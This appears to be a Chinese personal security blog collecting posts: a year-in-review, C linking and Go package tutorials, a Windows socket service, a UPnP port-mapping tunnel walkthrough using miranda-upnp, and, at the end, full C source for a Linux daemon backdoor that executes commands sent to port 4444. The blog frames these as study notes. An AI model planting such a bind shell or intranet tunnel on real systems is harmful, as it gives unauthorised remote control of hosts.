2021年,新冠疫情还是在继续。全世界都变得更加不一样了。

一些曾经的所谓规则,不过是人类缔造的笑话,一切都显得很荒诞。

我仍然在继续苟着,在混沌的世间缓缓行走着。

这是平静,但是也有收获的一年。

我的生活持续平淡,平淡并非坏事。虽然但是。

拿了摩托的驾照,在今年大多数的日子里,非常渴望在路上的感觉。

应该很快会购买人生的第一辆坐骑,希望它会是一匹良驹,一起纵横千里。

如果以后有机会,再专门写写摩托车,写写骑行在路上的故事。

今年开始逐渐减少写代码。倘若问我,什么时候开始放弃用代码影响世界的想法,回答是从2021年开始的。

一些更加重要的事物开始凸显,生而为人,需要学会研究人类,而不仅仅是机器。

今年更加意识到自己并不是一个聪明的人,甚至也许连体力都不如常人。

更加认清现实之后多多少少会先自卑,自卑之后会脸皮厚,脸皮一厚就能渐入佳境。

但给自己画的底线是,无论如何不能胡扯,可以不一定要为这个世界创造美好,但求尽量不给这个世界添堵。

不懂的事情不要胡说,不会的东西不要乱来,戒骄戒躁,真诚地对待生命中每一位过客,留意身边的善良和美好。

这个博客还是会继续开着,翻看以前的文章,因为认知的原因,也许有过一些错误的结论。也不删了,看客自行体会,我在成长着。

2021的最后我成为一名奶爸,在育娃的道路上开始了新的探索。

希望等孩子长大了,他也可以看到这些文字,也让他从字里行间,了解爸爸昔日平凡的生活。

最后也写一写对2022年的期待:

希望新的一年自己可以更加适应社会,更加和睦友善的与人相处。

可以为身边的人和环境创造些价值,能够不辜负那些帮助、带领和指引过我的人。

希望和梦想家们一起做梦,和冒险家们一起冒险。

一个进程的意义,或在于,它有它要执行的任务。

有的为了调度,有的为了计算,有的为了IO,有的为了传输。

一个进程的意义,或在于,它要为后续的进程创造条件。

在时空里埋下线索,为后续的crash保留好进程上下文。Debug的过程或许痛苦,但是螺旋式上升(或者下沉)必须经历。

一个进程的意义,或在于,它要代表一颗星星,静静地挂在内存的夜空。

动态链接与静态链接的区别

链接通俗来说就是C语言程序在编译过程中,编译器将所有的资源“拼接”到二进制文件中,从而形成最终的可执行文件的过程。

链接库文件通常就是一些专门存放一些通用函数的文件,动态和静态库的区别就在于,动态库是随着程序的发布一起发布的,作为独立的模块发布。

程序需要用到其中的函数时,动态地加载这些模块,从而调用其中的功能。

而静态库则是程序在编译的时候,从库中将所需要用到的函数、类等提取出来,复制到自身的可执行文件中。

在Linux中,静态链接库文件的后缀名通常是.a;在Windows系统中,静态链接库文件的后缀名为.lib

在Linux中,动态链接库文件的后缀名通常是.so;在Windows系统中,动态链接库文件的后缀名为.dll

Linux动态链接库和静态链接库

Linux动态链接

一个简单的Linux动态链接创建实例:

源文件:func1.c和func2.c编译生成testlib.so,testlib.h中声明了testlib.so的函数,main.c调用testlib.so中的函数。

func1.c:

1
2
3
4
5
6
#include "testlib.h"

int add(int a,int b){
return a + b;
}

func2.c:

1
2
3
4
5
#include "testlib.h"

int sub(int a,int b){
return a - b;
}

testlib.h:

1
2
3
4
5
6
7
#ifndef __TEST_H_
#define __TEST_H_

int add(int a,int b);
int sub(int a,int b);

#endif

编译:

编译生成testlib.so:

1
gcc -fpic -shared func1.c func2.c -o testlib.so

Linux动态链接的隐式调用(静态调用)

Linux动态链接库的隐式调用,就是将生成的so文件直接放到系统的Lib路径中,可执行程序在执行调用之前系统会自动将库文件加载到内存中,而不需要手动去加载。

main.c:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include "testlib.h"

int main(){
int m, n;
printf("Input two numbers: ");
scanf("%d %d", &m, &n);
printf("%d+%d=%d\n", m, n, add(m, n));
printf("%d-%d=%d\n", m, n, sub(m, n));
return 0;
}

编译生成main:

1
gcc main.c testlib.so -o main

生成之后如果直接执行main会报错:

1
./main: error while loading shared libraries: testlib.so: cannot open shared object file: No such file or directory

因为此时系统不知道应该从哪里加载testlib.so:

1
2
3
4
5
6
chorder@debian:~/testlib$ldd main
linux-vdso.so.1 (0x00007fff979c7000)
testlib.so => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa0e5d8c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa0e5f70000)

只需要将testlib.so拷贝到/usr/lib/即可:

1
2
3
4
5
6
chorder@debian:~/testlib$sudo cp testlib.so /usr/lib/
chorder@debian:~/testlib$./main
Input two numbers: 3
2
3+2=5
3-2=1

Linux动态链接的显式调用(动态调用)

main_d.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <dlfcn.h>
#include <stddef.h>
#include <stdio.h>

int main(){
int m,n;
//打开库文件,需要提供testlib.so的绝对路径,否则会无法加载
void* handler = dlopen("./testlib.so",RTLD_LAZY);
if(dlerror() != NULL){
printf("%s",dlerror());
}

//获取库文件中的 add() 函数
int(*add)(int,int)=dlsym(handler,"add");
if(dlerror()!=NULL){
printf("%s",dlerror());
}

//获取库文件中的 sub() 函数
int(*sub)(int,int)=dlsym(handler,"sub");
if(dlerror()!=NULL){
printf("%s",dlerror());
}

//使用库文件中的函数实现相关功能
printf("Input two numbers: ");
scanf("%d %d", &m, &n);
printf("%d+%d=%d\n", m, n, add(m, n));
printf("%d-%d=%d\n", m, n, sub(m, n));
//关闭库文件
dlclose(handler);
return 0;
}

编译生成main_d:

1
gcc main_d.c -ldl -o main_d

可以直接运行main_d:

1
2
3
4
5
chorder@debian:~/testlib$gcc main_d.c -ldl -o main_d
chorder@debian:~/testlib$./main_d
Input two numbers: 3 2
3+2=5
3-2=1

Linux静态链接

静态链接相对来说比较简单,只需要在编译的时候加上相应的参数即可将函数编译到可执行文件中。

一个简单的Linux下的静态链接库的例子:

add.c和sub.c编译生成libtest.a,libtest.h中声明了相应的函数,main.c调用libtest.a中的函数。

add.c

1
2
3
int add(int a, int b){
return a + b;
}

sub.c

1
2
3
int sub(int a, int b){
return a - b;
}

libtest.h

1
2
3
4
5
6
7
#ifndef __TEST_H_
#define __TEST_H_

int add(int, int);
int sub(int, int);

#endif

main.c

1
2
3
4
5
6
7
#include <stdio.h>
#include "libtest.h"

int main(){
printf("%d, %d\n", add(3, 2), sub(3, 2));
return 0;
}

编译:

编译add.c和sub.c,生成目标文件 add.o sub.o

1
gcc -c add.c sub.c

归档目标文件,生成静态链接库 libtest.a

使用 ar 命令将目标文件压缩到一起,并且对其进行编号和索引,以便于查找和检索

1
ar rcv libtest.a add.o sub.o

编译main.c:

1
gcc main.c -L. -ltest -o main

Windows动态链接库和静态链接库

Windows动态链接

Windows的动态链接库一般是DLL,这里创建一个DLL工程,func1.c和func2.c组合编译成testlib_win.dll,并通过两种方法分别调用testlib_win.dll中的函数。

第一种称之为显式链接,只需提供DLL文件和知晓函数名即可;第二种称之为隐式链接,需要提供lib,头文件和dll。

首先在VS2019中创建DLL项目:

func1.c:

1
2
3
4
5
6
#include "testlib_win.h"

int add(int a, int b) {
return a + b;
}

func2.c:

1
2
3
4
5
#include "testlib_win.h"

int sub(int a, int b) {
return a - b;
}

testlib_win.h

1
2
3
4
5
6
7
8
#ifndef __TEST_H_
#define __TEST_H_

int add(int a, int b);
int sub(int a, int b);

#endif

直接编译会报错,需要修改一下项目属性,不使用预编译头:

点击生成解决方案,即可编译出DLL:

此时生成的文件中只有dll,并没有lib文件,如果想要生成lib文件,则需要对testlib_win.h文件进行修改:

testlib_win.h

1
2
3
4
5
6
7
#ifndef __TEST_H_
#define __TEST_H_

extern __declspec(dllexport) int add(int a, int b);
extern __declspec(dllexport) int sub(int a, int b);

#endif

此时编译出的文件中,就包含了testlib_win.lib:

Windows DLL显式调用

创建工程,包含testlib_win.h头文件,在其中加载DLL并调用add和sub函数:

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <Windows.h>
#include <stdio.h>

#include "testlib_win.h"

typedef int(*FUNC)(int, int);

int main() {

HINSTANCE hInstLibrary = LoadLibrary(L"testlib_win.dll");
FUNC add,sub;

if (hInstLibrary == NULL) {
printf("无法加载DLL");
}
else {
printf("DLL加载成功 %p\n", hInstLibrary);
}

add = (FUNC)GetProcAddress(hInstLibrary, "add");
sub = (FUNC)GetProcAddress(hInstLibrary, "sub");

if (add == NULL || sub == NULL) {
FreeLibrary(hInstLibrary);
printf("获取函数地址失败\n");
}
else {
printf("函数add地址获取成功 %p!\n", add);
printf("函数sub地址获取成功 %p!\n", sub);
printf("Call add: %d\n", add(1,2) );
printf("Call sub: %d\n", sub(3,2));
}

FreeLibrary(hInstLibrary);
return 0;
}

将testlib_win.h加入到源码目录,将testlib_win.dll加入到编译输出的文件所在目录:

运行即可:

Windows DLL隐式调用

由于不常用,以后再补充。

Windows静态链接

由于不常用,以后再补充。

(待续)

参考资料

GCC使用静态链接库和动态链接库
C/C++动态链接库的显式调用(动态调用)
linux静态链接库
什么是 DLL
windows LoadLibrary使用示例
Visual Studio 2013中.dll文件的显式调用方法
Windows DLL调用实例
VS2017生成一个简单的DLL文件 和 LIB文件——C语言

今年27了,终于明白副业是个伪命题。

从我大三实习那年起,在维持主业的同时,我就一直热衷于探索副业。

最开始在淘宝上卖乐器,在58同城倒腾二手物品,后来尝试做CPA、淘宝客、建站做Adsense,以及出教程、搞培训,炒股、炒币、买基金…

除了炒股以外,别的基本上没亏过钱。但也没有因此赚过什么钱。

过去的我,太急于开辟一条新的赛道了,以至于在主业(指网络安全)的道路上还没有做出什么成绩,就想着赶紧脱离这一条一眼忘不到头的技术路。

幻想着能够有朝一日把副业从小做大,慢慢扶正,让主业真正成为一个爱好。

然而幻想终究是一种幻想,相信许多人都会有这种幻想。

这种幻想太幼稚了。如今我终于认识到,以大部分人的天资,能够在主业的道路上有所建树,已经是莫大的成功了。

更何况我们这些搞安全的技术小子,如今能凭借这一身牢底坐穿的手艺有口饭吃,绝对要感谢老天爷。

要好好珍惜主业的机会,踏踏实实继续突破。

以后不谈副业了。

疫情

发展

转折

故事

再启程

Windows系统下C语言中使用自定义包的方法:

首先明确GOPATH的路径,执行go env | findstr GOPATH

1
2
3
4
C:\Users\CHORDER>go env | findstr GOPATH
set GOPATH=C:\Users\CHORDER\go

C:\Users\CHORDER>

接着在GOPATH目录中创建相应的自定义包,这里定义一个example包,并创建两个源码文件src1.gosrc2.go,源码内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* C:\Users\CHORDER\go\src\chorder.net\example\src1.go */

package example

import "fmt"

func init(){
fmt.Printf("\nchorder.net/example/src1.go init() has been called.")
}

func Src1(){
fmt.Printf("\nchorder.net/example/src1.go Src1() has been called.")
}
1
2
3
4
5
6
7
8
9
10
11
12
13
/*C:\Users\CHORDER\go\src\chorder.net\example\src2.go*/

package example

import "fmt"

func init(){
fmt.Printf("\nchorder.net/example/src2.go init() has been called.")
}

func Src2(){
fmt.Printf("\nchorder.net/example/src2.go Src1() has been called.")
}

编写代码调用这两个包中的方法:

packge_test.go

1
2
3
4
5
6
7
8
package main

import "chorder.net/example"

func main(){
example.Src1()
example.Src2()
}

执行结果:

1
2
3
4
5
6
>go run packge_test.go

chorder.net/example/src1.go init() has been called.
chorder.net/example/src2.go init() has been called.
chorder.net/example/src1.go Src1() has been called.
chorder.net/example/src2.go Src1() has been called.

1 概述

在典型的IPv4网络下,由于NAT技术的广泛使用,端口映射是一种刚需。(下文所涉及“端口转发”、“端口映射”均指同一种技术。)

经典的端口映射方法例如iptables端口转发、SSH端口转发、webshell流量转发(regeorg)、socks代理等技术,是比较常见的用于建立内网通道的技术。本文分享一种利用内网网关设备开放的upnp协议进行端口映射的方法。

关于upnp协议的解释,参考百度百科-UPNP
upnp协议的使用场景很多,端口转发是upnp其中一个功能,但是想要使用该功能,需要网关设备的支持。

2 场景

使用upnp进行端口转发的场景,以下图网络拓扑为例:

内网服务器Server:内网地址192.168.1.2,开放端口1234
网关设备Gateway:内网地址192.168.1.1,公网地址x.x.x.x

常规情况下,如果需要通过公网地址x.x.x.x访问192.168.1.2中的开放端口1234,则可以在Gateway中配置端口转发,但此时至少要有192.168.1.1的(部分)权限。

如果Gateway具备unpn功能,并且启用了unpn服务,则可以在Gateway外部通过upnp指令,打开Gateway上的转发通道,从而完成端口转发。

Gateway开启upnp示例(一般位于路由等设备的配置界面中):

3.利用

metasploit

Metasplioit中有upnp相关的插件,但是不太好用,姿势问题?
插件是:

  • auxiliary/scanner/upnp/ssdp_msearch
  • auxiliary/admin/upnp/soap_portmapping

可以自行探索之

miranda-upnp

miranda-upnp是之前在Github上找到的一个工具,基于python2编写,可以用于内网upnp端口转发通道的建立。

miranda-upnp(github)

upnp协议

也可以根据upnp协议自行实现相关工具,协议使用可以参考这篇文章

4. 演示

以第2节中的拓扑为例,在内网IP为192.168.1.2的Server中运行miranda-upnp,打开转发通道,在Gateway的x.x.x.x:1234与Server 192.168.1.2:1234之间建立映射。

运行miranda-upnp后,首先执行msearch

1
2
3
4
5
6
7
8
9
10
11
12
upnp> msearch

Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...

****************************************************************
SSDP reply message from 192.168.1.1:49652
XML file is located at http://192.168.1.1:49652/49652gatedesc.xml
Device is running Linux/3.10.53-HULK2, UPnP/1.0, Portable SDK for UPnP devices/1.6.25
****************************************************************

^C
Discover mode halted...

此时已经获得Gateway中的SSDP描述文件,Ctrl-C停止SSDP搜寻。

执行host list,列出扫描到的主机,并执行host get 0选中主机0(Gateway):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
upnp> host list

[0] 192.168.1.1:49652

upnp> host get 0

Requesting device and service info for 192.168.1.1:49652 (this could take a few seconds)...

Host data enumeration complete!

upnp> host info 0 deviceList

InternetGatewayDevice : {}
WANDevice : {}
WANConnectionDevice : {}

执行deviceListservices命令分别查看设备列表和设备中的服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
upnp> host info 0 deviceList InternetGatewayDevice services

Layer3Forwarding : {}

upnp> host info 0 deviceList WANDevice services

WANCommonInterfaceConfig : {}

upnp> host info 0 deviceList WANConnectionDevice services

WANIPConnection : {}

upnp> host info 0 deviceList WANConnectionDevice services

WANIPConnection : {}

upnp>

常规的端口转发功能我们要使用的是WANConnectionDevice设备的WANIPConnection服务,执行actions查看其动作,这里可以看到存在一个名为AddPortMapping的action,我们只要调用这个action,并填写相应参数,即可完成端口转发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection actions

AddPortMapping : {}
GetNATRSIPStatus : {}
GetGenericPortMappingEntry : {}
GetSpecificPortMappingEntry : {}
ForceTermination : {}
GetExternalIPAddress : {}
GetConnectionTypeInfo : {}
GetStatusInfo : {}
SetConnectionType : {}
DeletePortMapping : {}
RequestConnection : {}

upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
Argument Name: NewPortMappingDescription
Data Type: string
Allowed Values: []
Set NewPortMappingDescription value to: XXXXX

Required argument:
Argument Name: NewLeaseDuration
Data Type: ui4
Allowed Values: []
Set NewLeaseDuration value to: 36000

Required argument:
Argument Name: NewInternalClient
Data Type: string
Allowed Values: []
Set NewInternalClient value to: 192.168.1.2

Required argument:
Argument Name: NewEnabled
Data Type: boolean
Allowed Values: []
Set NewEnabled value to: 1

Required argument:
Argument Name: NewExternalPort
Data Type: ui2
Allowed Values: []
Set NewExternalPort value to: 1234

Required argument:
Argument Name: NewRemoteHost
Data Type: string
Allowed Values: []
Set NewRemoteHost value to: 0.0.0.0

Required argument:
Argument Name: NewProtocol
Data Type: string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP

Required argument:
Argument Name: NewInternalPort
Data Type: ui2
Allowed Values: []
Set NewInternalPort value to: 1234

可以看到此时Gateway中已经激活了相应的转发通道:

在Windows中创建服务一般需要先编写服务程序的代码,然后使用SCM注册这个服务。
手动注册一个Windows服务的方法是:

1
2
3
4
5
6
7
8
9
# 注册服务
sc create TestService binpath= D:\\Programs\\TestService\\main.exe
# 删除服务
sc delete TestService
# 开启服务
net start TestService
# 停止服务
net stop TestService

这里实现了一个最基本的Windows服务程序,服务启动之后监听本地TCP 8888端口,接收和发送数据。

service.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
/*service.cpp*/


#include <stdio.h>
#include <Windows.h>

#include "service.h"



#define SLEEP_TIME 5000



SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
int InitService();
int WriteToLog(char* str);

int main(int argc, char* argv[]){
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "ServiceExample1";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;

StartServiceCtrlDispatcher(ServiceTable);
return 0;
}


void ServiceMain(int argc, char** argv){
int error;

ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

hStatus = RegisterServiceCtrlHandler("ServiceExample1", (LPHANDLER_FUNCTION)ControlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0){
// Registering Control Handler failed
return;
}
// Initialize Service
error = InitService();
if (!error){
// Initialization failed
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
// We report the running status to SCM.
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);

int server = start_server(8888);
/*
MEMORYSTATUS memory;
// The worker loop of a service
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING){
char buffer[16];
GlobalMemoryStatus(&memory);
sprintf(buffer, "%d", memory.dwAvailPhys);
int result = WriteToLog(buffer);
if (result){
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
Sleep(SLEEP_TIME);
}
*/


return;
}


void ControlHandler(DWORD request){
switch(request) {
case SERVICE_CONTROL_STOP:
WriteToLog("服务已停止");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;


case SERVICE_CONTROL_SHUTDOWN:
WriteToLog("服务已关闭");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;

default:
break;
}

// Report current status
SetServiceStatus (hStatus, &ServiceStatus);
return;
}





int InitService(){
WriteToLog("服务已启动");
return true;
}

server.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
/*server.cpp*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#include "service.h"

#pragma comment(lib,"ws2_32.lib")


int start_server(int bind_port){
//初始化WSA
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
if (WSAStartup(sockVersion, &wsaData) != 0){
return 0;
}

//创建套接字
SOCKET slisten = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (slisten == INVALID_SOCKET){
WriteToLog("Socket创建失败!");
return 0;
}

//绑定IP和端口
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(bind_port);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if (bind(slisten, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR){
WriteToLog("Socket绑定失败!");
}

//开始监听
if (listen(slisten, 5) == SOCKET_ERROR)
{
WriteToLog("Socket监听失败!");
return 0;
}

//循环接收数据
SOCKET sClient;
struct sockaddr_in remoteAddr;
int nAddrlen = sizeof(remoteAddr);
//char revData[255];
WriteToLog("Socket监听成功,等待连接...");
sClient = accept(slisten, (SOCKADDR *)&remoteAddr, &nAddrlen);
while (1){
char revData[255];

char * client_address = inet_ntoa(remoteAddr.sin_addr);

//printf("等待连接...\n");
//sClient = accept(slisten, (SOCKADDR *)&remoteAddr, &nAddrlen);
if (sClient == INVALID_SOCKET){
WriteToLog("数据接收错误!");
continue;
}
WriteToLog( client_address );

//接收数据
int ret = recv(sClient, revData, 255, 0);
//printf(ret);
if (ret > 0){
//revData[ret] = 0x00;
WriteToLog(revData);
}

//发送数据
char * sendData = revData;
send(sClient, sendData, strlen(sendData), 0);

}
closesocket(sClient);
closesocket(slisten);
WSACleanup();
return 0;
}

utils.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*utils.cpp*/

#include <time.h>
#include <stdio.h>
#include <stdlib.h>


#define LOGFILE "C://service_example_1_log.txt"


int WriteToLog(char* str){
FILE* log;
log = fopen(LOGFILE, "a+");
if (log == NULL)
return -1;

time_t rawtime;
struct tm * timeinfo;
char time_buffer [128];

time (&rawtime);
//printf("%ld\n", rawtime);

timeinfo = localtime (&rawtime);
strftime (time_buffer,sizeof(time_buffer),"%Y/%m/%d %H:%M:%S",timeinfo);
//printf("%s\n", buffer);

fprintf(log, "%s\t%s\n", time_buffer, str);
fclose(log);
return 0;
}


service.h

1
2
3
4
5
6
/*service.h*/


extern int WriteToLog(char* str);
extern int start_server(int bind_port);

参考资料

开发 Windows 服务应用
C语言开发Windows服务
C++编写Windows服务
C++编写Windows服务
Windows 服务程序(一)
Windows 服务程序(二)
windows环境下C语言socket编程

因为很多私事,复习停滞了两个半月,真是太惭愧了。不说了,菜鸡抽空继续学。

Linux Service

Service是一种被称为守护进程(daemon)的程序。它通常一旦启动后就在后台持续运行,通常在等待什么输入或者监控系统有什么变化。例如Apache服务器有一个叫httpd的守护进程监听80端口以等待http请求。

Service程序通常通过service命令来启动或停止等。例如apache服务的启动可通过service httpd start来启动。

通过service --status-all可以查看系统当前所有service服务的状态。

https://blog.csdn.net/gobitan/article/details/5903342

使用stdlib.h中的daemon实现守护进程

通过以下样例程序,结合前期复习的socket相关知识,以及最基本的Linux系统调用,实现了一个运行在Linux中的服务程序(Daemon)。

这个程序会在后台监听当前主机的4444端口,当tcp客户端连接上时,会接受客户端的输入,并作为shell来执行,实现最基本的C/S架构的BD功能。

(后面也将继续基于这个例子进一步改良和优化这个程序。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
/*
simple echo BD.
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

#define MAXPENDING 5 /* Max connection requests */
#define BUFFSIZE 255
#define BINDPORT 4444

void die(char *mess) { perror(mess); exit(1); }

int main(void){


//create daemon
if(daemon(0,1) == -1){
perror("daemon error");
exit(0);
}


int serversock, clientsock;
struct sockaddr_in echoserver, echoclient;

/* Create the TCP socket */
if ((serversock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
die("Failed to create socket");
}

/* Construct the server sockaddr_in structure */
memset(&echoserver, 0, sizeof(echoserver)); /* Clear struct */
echoserver.sin_family = AF_INET; /* Internet/IP */
echoserver.sin_addr.s_addr = htonl(INADDR_ANY); /* Incoming addr */
//echoserver.sin_port = htons(atoi(bind_port)); /* server port */
echoserver.sin_port = htons( BINDPORT );

/* Bind the server socket */
if (bind(serversock, (struct sockaddr *) &echoserver, sizeof(echoserver)) < 0) {
die("Failed to bind the server socket");
}

/* Listen on the server socket */
if (listen(serversock, MAXPENDING) < 0) {
die("Failed to listen on server socket");
}

/* Run until cancelled */
while (1) {
unsigned int clientlen = sizeof(echoclient);
/* Wait for client connection */
if ((clientsock = accept(serversock, (struct sockaddr *) &echoclient, &clientlen)) < 0) {
die("Failed to accept client connection");
}

printf("[*] Client connected: %s\n", inet_ntoa(echoclient.sin_addr));

FILE *fp;
int received;
char command[BUFFSIZE];
char buffer[BUFFSIZE];
memset(command,0,sizeof(command));
memset(buffer,0,sizeof(buffer));


while( (received = recvfrom(clientsock, command, BUFFSIZE, 0, (struct sockaddr *) &echoclient, &clientlen)) > 0 ){

/*
if ((received = recvfrom(clientsock, command, BUFFSIZE, 0, (struct sockaddr *) &echoclient, &clientlen)) < 0) {
die("Failed to receive message");
}
*/

if(strcmp(command,"exit") == 0){
printf("[*] Client exit.");
break;
}else{
printf("[*] Client send(%d): %s\n", received, command);
}
// Execute command
fp=popen(command,"r");

while(fgets(buffer,sizeof(buffer),fp)!=NULL){
printf("%s", buffer);
send(clientsock, buffer, sizeof(buffer), 0);
memset(buffer,0,sizeof(buffer));
}
pclose(fp);

memset(command,0,sizeof(command));
}

close(clientsock);

}

return 0;
}

参考资料

Linux平台下的service程序编写指南
Linux中创建Daemon进程的三种方法
守护进程详解及创建,daemon使用

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×